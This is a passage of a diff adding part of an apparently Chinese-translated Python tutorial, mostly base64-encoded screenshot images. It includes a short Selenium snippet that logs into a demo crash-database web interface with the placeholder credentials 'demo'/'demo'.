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SABAAAAAACQEJAAAAAAAABICEgAAAAAAAAkBCQAAAAAAAASAhIAAAAAAAAJAQkAAAAAAICEgAQAAAAAAEBCQAIAAAAAACAhIAEAAAAAAJAQkAAAAAAAAEgISAAAAAAAACQEJAAAAAAAABICEgAAAAAAAAkBCQAAAAAAgISABAAAAAAAQEJAAgAAAAAAICEgAQAAAAAAkBCQAAAAAAAASAhIAAAAAAAAJAQkAAAAAAAAEgISAAAAAAAACQEJAAAAAACAhIAEAAAAAABAQkACAAAAAAAgISABAAAAAACQEJAAAAAAAABICEgAAAAAAAAkBCQAAAAAAAASAhIAAAAAAAAJAQkAAAAAAICEgAQAAAAAAEBCQAIAAAAAACAhIAEAAAAAAJAQkAAAAAAAAEgISAAAAAAAACQEJAAAAAAAABICEgAAAAAAAAkBCQAAAAAAgISABAAAAAAAQEJAAgAAAAAAICEgAQAAAAAAkBCQAAAAAAAASAhIAAAAAAAAJAQkAAAAAAAAEgISAAAAAAAACQEJAAAAAACAhIAEAAAAAABAQkACAAAAAAAgISABAAAAAACQEJAAAAAAAABICEgAAAAAAAAkBCQAAAAAAAASAhIAAAAAAAAJAQkAAAAAAICEgAQAAAAAAEBCQAIAAAAAACAhIAEAAAAAAJAQkAAAAAAAAEgISAAAAAAAACQEJAAAAAAAABICEgAAAAAAAAkBCQAAAAAAgISABAAAAAAAQEJAAgAAAAAAICEgAQAAAAAAkBCQAAAAAAAASAhIAAAAAAAAJAQkAAAAAAAAEgISAAAAAAAACQEJAAAAAACAhIAEAAAAAABAQkACAAAAAAAgISABAAAAAACQEJAAAAAAAABICEgAAAAAAAAkBCQAAAAAAAASAhIAAAAAAAAJAQkAAAAAAICEgAQAAAAAAEBCQAIAAAAAACAhIAEAAAAAAJAQkAAAAAAAAEgISAAAAAAAACQEJAAAAAAAABICEgAAAAAAAAkBCQAAAAAAgISABAAAAAAAQEJAAgAAAAAAICEgAQAAAAAAkBCQAAAAAAAASAhIAAAAAAAAJAQkAAAAAAAAEgISAAAAAAAACQEJAAAAAACAhIAEAAAAAABAQkACAAAAAAAgISABAAAAAACQEJAAAAAAAABICEgAAAAAAAAkBCQAAAAAAAASAhIAAAAAAAAJAQkAAAAAAICEgAQAAAAAAEBCQAIAAAAAACAhIAEAAAAAAJAQkAAAAAAAAEgISAAAAAAAACQEJAAAAAAAABICEgAAAAAAAAkBCQAAAAAAgISABAAAAAAAQEJAAgAAAAAAICEgAQAAAAAAkBCQAAAAAAAASAhIAAAAAAAAJAQkAAAAAAAAEgISAAAAAAAACQEJAAAAAACAhIAEAAAAAABAQkACAAAAAAAgISABAAAAAACQEJAAAAAAAABICEgAAAAAAAAkBCQAAAAAAAASAhIAAAAAAAAJAQkAAAAAAICEgAQAAAAAAEBCQAIAAAAAACAhIAEAAAAAAJAQkAAAAAAAAEgISAAAAAAAACQEJAAAAAAAABICEgAAAAAAAAkBCQAAAAAAgISABAAAAAAAQOL/A3GN4YiF4h7VAAAAAElFTkSuQmCC
+)
+
+现在我们通过发送`demo`作为用户名和密码登录，然后单击`Login`按钮。
+
+```py
+username = gui_driver.find_element_by_name("username")
+username.send_keys("demo")
+
+```
+
+```py
+password = gui_driver.find_element_by_name("password")
+password.send_keys("demo")
+
+```
+
+```py
+login = gui_driver.find_element_by_tag_name("button")
+login.click()
+time.sleep(1)
+
+```
+
+登录后，我们发现一个空数据库。 一旦我们收集了崩溃，就会在此处出现崩溃。
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,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